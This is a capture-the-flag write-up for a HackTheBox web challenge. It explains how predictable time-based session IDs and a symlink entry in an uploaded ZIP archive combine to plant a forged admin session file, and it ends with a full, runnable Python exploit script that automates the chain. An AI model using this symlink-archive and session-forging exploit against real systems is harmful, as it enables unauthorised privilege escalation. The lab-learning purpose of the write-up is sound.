Intro
So I came across an interesting HTB challenge. Backend is Go + Node.js. I did not do black-box because without source code you will get stuck forever. Once you read the source code and do a deep analysis, you see a function that takes an uploaded archive (.zip, .tar, .7z, whatever) and extracts it into a user folder.
Everything looks fine until you notice sessions are stored in:
/tmp/sessions/<username>/<sessionID>At first I thought: "Can I override a session with path traversal in the archive?" That idea fails (blocked by the archive library), so I needed a new path. The final chain uses symlinks + predictable session IDs.
Step 1: Quick app analysis
Main entry (service/main.go):
authenticatedGroup := app.Group("/user", services.SessionMiddleware)
app.Get("/register", services.ViewRegister)
app.Get("/", services.ViewLogin)
app.Post("/register", services.RegisterHandler)
app.Post("/login", services.LoginHandler)
// Upload an archive
authenticatedGroup.Post("/upload", services.UploadEnigma)
authenticatedGroup.Get("/upload", services.ViewUpload)
authenticatedGroup.Get("/admin", services.DesireIsEnigma)This tells us the flow: register → login → upload → admin. Upload and admin are behind the session middleware.
Register flow
Go validates the username, then forwards to the Node.js SSO, which stores users in SQLite and sets role = "user" by default.
Node.js register code:
app.post("/register", (req, res) => {
const { username, password } = req.body;
db.get("SELECT * FROM users WHERE username = ?", [username], (err, row) => {
if (err) return res.status(500).json({ error: err.message });
if (row) return res.status(400).json({ error: "Username already exists" });
bcrypt.hash(password, 10, (err, hash) => {
if (err) return res.status(500).json({ error: err.message });
db.run(
"INSERT INTO users (username, password,role) VALUES (?, ?,?)",
[username, hash, "user"],
function (err) {
if (err) return res.status(500).json({ error: err.message });
res.status(201).json({ message: "User registered successfully" });
},
);
});
});
});Notice there is no admin role here. Everyone starts as a normal user.
Login flow (the bug starts here)
Go login handler creates the session ID before validating credentials and stores it in Redis:
sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
err := PrepareSession(sessionID, credentials.Username)
user, err := loginUser(credentials.Username, credentials.Password)PrepareSession function:
func PrepareSession(sessionID string, username string) error {
return utils.RedisClient.Set(username, sessionID, 0)
}That means even invalid logins get a Redis session ID.
Then, only after a valid login, it writes a session file on disk:
func CreateSession(sessionID string, user *User) string {
sessionJSON, _ := json.Marshal(user)
folderPath := filepath.Join("/tmp/sessions/", user.Username)
os.MkdirAll(folderPath, 0755)
sessionFilePath := filepath.Join(folderPath, sessionID)
os.WriteFile(sessionFilePath, sessionJSON, 0644)
return sessionID
}So the session JSON looks like:
{ "username": "anything", "id": 1234, "role": "user" }And this is the object used later inside c.Locals("user").
Step 2: Admin check + middleware
/user/admin:
if userStruct.Role == "admin" {
return c.Render("admin", fiber.Map{"FLAG": os.Getenv("FLAG")})
}So the whole target is to control userStruct.Role. This userStruct is not read from cookies directly; it is built from the session file on disk.
Session middleware:
sessionID := c.Cookies("session")
username := c.Cookies("username")
if sessionID == "" || username == "" { return c.SendStatus(http.StatusUnauthorized) }
session, err := GetSession(username)
// GetSession uses Redis to get sessionID, then reads /tmp/sessions/<username>/<sessionID>
c.Locals("user", *session)Important point: the cookie value session is not validated. The middleware does not check that your cookie value equals the Redis value. It simply uses the username cookie to find the session ID in Redis, then reads the session file from disk.
So the real gate is:
- Redis contains a session ID for
username. - A file exists at
/tmp/sessions/<username>/<sessionID>with JSON that saysrole = admin.
If you can satisfy those two conditions, /user/admin gives you the flag.
Step 3: Archive upload
Upload handler:
err = archiver.Unarchive(tempFile, userFolder)It saves archive to ./uploads/<uuid>.<ext> and extracts into ./files/<username>/.
First idea (failed)
I tried path traversal like:
../../../../tmp/sessions/<username>/<sessionID>But archiver blocks it. The extract function does this check:
errPath := z.CheckPath(to, header.Name)So traversal is dead.
This was my first fail. I thought "ok, path traversal is blocked, so what else can write outside the folder?" The answer is symlinks.
Step 4: The working idea (symlink)
The library extracts symlinks as symlinks and doesn't resolve them later.
That means I can do:
- Create a symlink entry named
link→/tmp/sessions - Next file in archive is
link/<fakeuser>/<sessionID> - Extractor follows the symlink and writes into
/tmp/sessions/<fakeuser>/<sessionID>
So the extraction path looks safe, but it is actually redirected through the link.
Now I can write any session JSON I want (role admin).
Step 5: The full exploit chain
Here is the exact flow I used to achieve privilege escalation, step by step, and why each stage was critical to the attack:
Step 1: Register and Login as a Legitimate User
- The Action: Create a standard account and log in.
- The 'Why': This was necessary to gain authenticated access to the
/user/uploadendpoint, which is protected behind the application's session middleware.
Step 2: Trigger a Failed Login with a Fake Username
- The Action: Send a login request using a non-existent, fake username.
- The 'Why': This triggers the
PrepareSession(sessionID, username)function in Redis. Because the login ultimately fails, the application never writes a session file to/tmp/sessions/<fakeuser>/.
Step 3: Predict the Session ID
- The Action: Brute-force a small time window (e.g.,
now-6tonow+6seconds). - The 'Why': I noticed the session ID generation is completely predictable. It relies on
sha256(str(unix_time_seconds)). Since it's just a hash of the current second rather than a cryptographically secure random string, the ID is easily guessable.
Step 4: Craft a Malicious ZIP Archive (The Symlink Attack)
- The Action: Build a ZIP file containing a symlink and a forged session JSON payload:
- A symlink named
linkpointing to/tmp/sessions - A directory path:
link/<fakeuser>/ - A forged session file:
link/<fakeuser>/<sessionID>containing the payload{"role":"admin"} - The 'Why': When the server extracts this archive, it blindly follows the symlink. Instead of writing inside the intended upload directory, it drops our forged session file directly into the application's real
/tmp/sessionspath.
Step 5: Upload the ZIP Payload
- The Action: Upload the crafted archive via the real user account from Step 1.
- The 'Why': The vulnerable extraction logic executes the arbitrary file write, planting the forged admin session directly on the filesystem.
Step 6: Hijack the Admin Session
- The Action: Modify the browser cookies to the following:
username=<fakeuser>session=anything- The 'Why': When requesting the
/user/adminendpoint, the application reads the forged JSON file we planted. It sees"role":"admin"and grants full administrative access.
The Core Takeaway: The beauty of this exploit is that the fake user doesn't even need to exist in the underlying database. It only requires a Redis entry and a matching session file on the disk — both of which we successfully chain together using predictable time hashes and a symlink archive injection.
Exploit script (full)
The script below automates every step and prints the admin response at the end. This is how it maps to the chain above:
- register_user/login_user = create a real session to access
/user/upload. - seed_redis = create Redis session ID for the fake username.
- build_zip = create symlink + forged session file(s).
- upload_archive = trigger extraction into
/tmp/sessions/.... - try_admin = set cookies and request
/user/admin.
#!/usr/bin/env python3
import argparse
import hashlib
import io
import json
import random
import string
import time
import zipfile
import requests
def rand_str(length=8):
chars = string.ascii_lowercase + string.digits
return "".join(random.choice(chars) for _ in range(length))
def session_id_from_unix(ts):
return hashlib.sha256(str(ts).encode()).hexdigest()
def build_zip(fake_user, session_ids):
payload = json.dumps({"username": fake_user, "id": 1, "role": "admin"})
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_DEFLATED) as zf:
# Symlink entry: link -> /tmp/sessions
zi = zipfile.ZipInfo("link")
zi.create_system = 3
zi.external_attr = 0o120777 << 16 # Symlink file mode
zf.writestr(zi, "/tmp/sessions")
# Directory entry for fake user
dir_info = zipfile.ZipInfo(f"link/{fake_user}/")
dir_info.create_system = 3
dir_info.external_attr = 0o40755 << 16 # Directory mode
zf.writestr(dir_info, "")
# Session files
for sid in session_ids:
zf.writestr(f"link/{fake_user}/{sid}", payload)
buf.seek(0)
return buf.read()
def register_user(session, base_url, username, password):
resp = session.post(
f"{base_url}/register",
data={"username": username, "password": password},
allow_redirects=False,
)
return resp.status_code in (302, 200)
def login_user(session, base_url, username, password):
resp = session.post(
f"{base_url}/login",
data={"username": username, "password": password},
allow_redirects=False,
)
return resp.status_code in (302, 200)
def seed_redis(base_url, fake_user, password):
# This intentionally fails but still calls PrepareSession() server-side.
t0 = int(time.time())
requests.post(
f"{base_url}/login",
data={"username": fake_user, "password": password},
allow_redirects=False,
)
return t0
def upload_archive(session, base_url, zip_bytes):
files = {"archive": ("payload.zip", zip_bytes, "application/zip")}
resp = session.post(f"{base_url}/user/upload", files=files, allow_redirects=False)
return resp.status_code
def try_admin(base_url, fake_user):
session = requests.Session()
session.cookies.set("session", "x")
session.cookies.set("username", fake_user)
resp = session.get(f"{base_url}/user/admin", allow_redirects=False)
return resp.status_code, resp.text
def main():
parser = argparse.ArgumentParser(description="HTB Desires exploit")
parser.add_argument("--base-url", default="http://CHALLENGE_IP:PORT")
parser.add_argument("--window", type=int, default=6, help="Seconds to brute-force around login time")
args = parser.parse_args()
base_url = args.base_url.rstrip("/")
real_user = f"user_{rand_str(6)}"
real_pass = rand_str(10)
fake_user = f"ghost_{rand_str(6)}"
fake_pass = rand_str(10)
session = requests.Session()
if not register_user(session, base_url, real_user, real_pass):
print("[!] Register failed (user may already exist). Continuing...")
if not login_user(session, base_url, real_user, real_pass):
raise SystemExit("[!] Login failed for real user")
t0 = seed_redis(base_url, fake_user, fake_pass)
# Build candidate session IDs around the request time window.
candidates = [session_id_from_unix(t0 + delta) for delta in range(-args.window, args.window + 1)]
zip_bytes = build_zip(fake_user, candidates)
status = upload_archive(session, base_url, zip_bytes)
print(f"[*] Upload status: {status}")
admin_status, body = try_admin(base_url, fake_user)
print(f"[*] /user/admin status: {admin_status}")
print(body)
if __name__ == "__main__":
main()Usage:
python exploit.py --base-url <your-challenge-url> --window 10
Happy Hacking!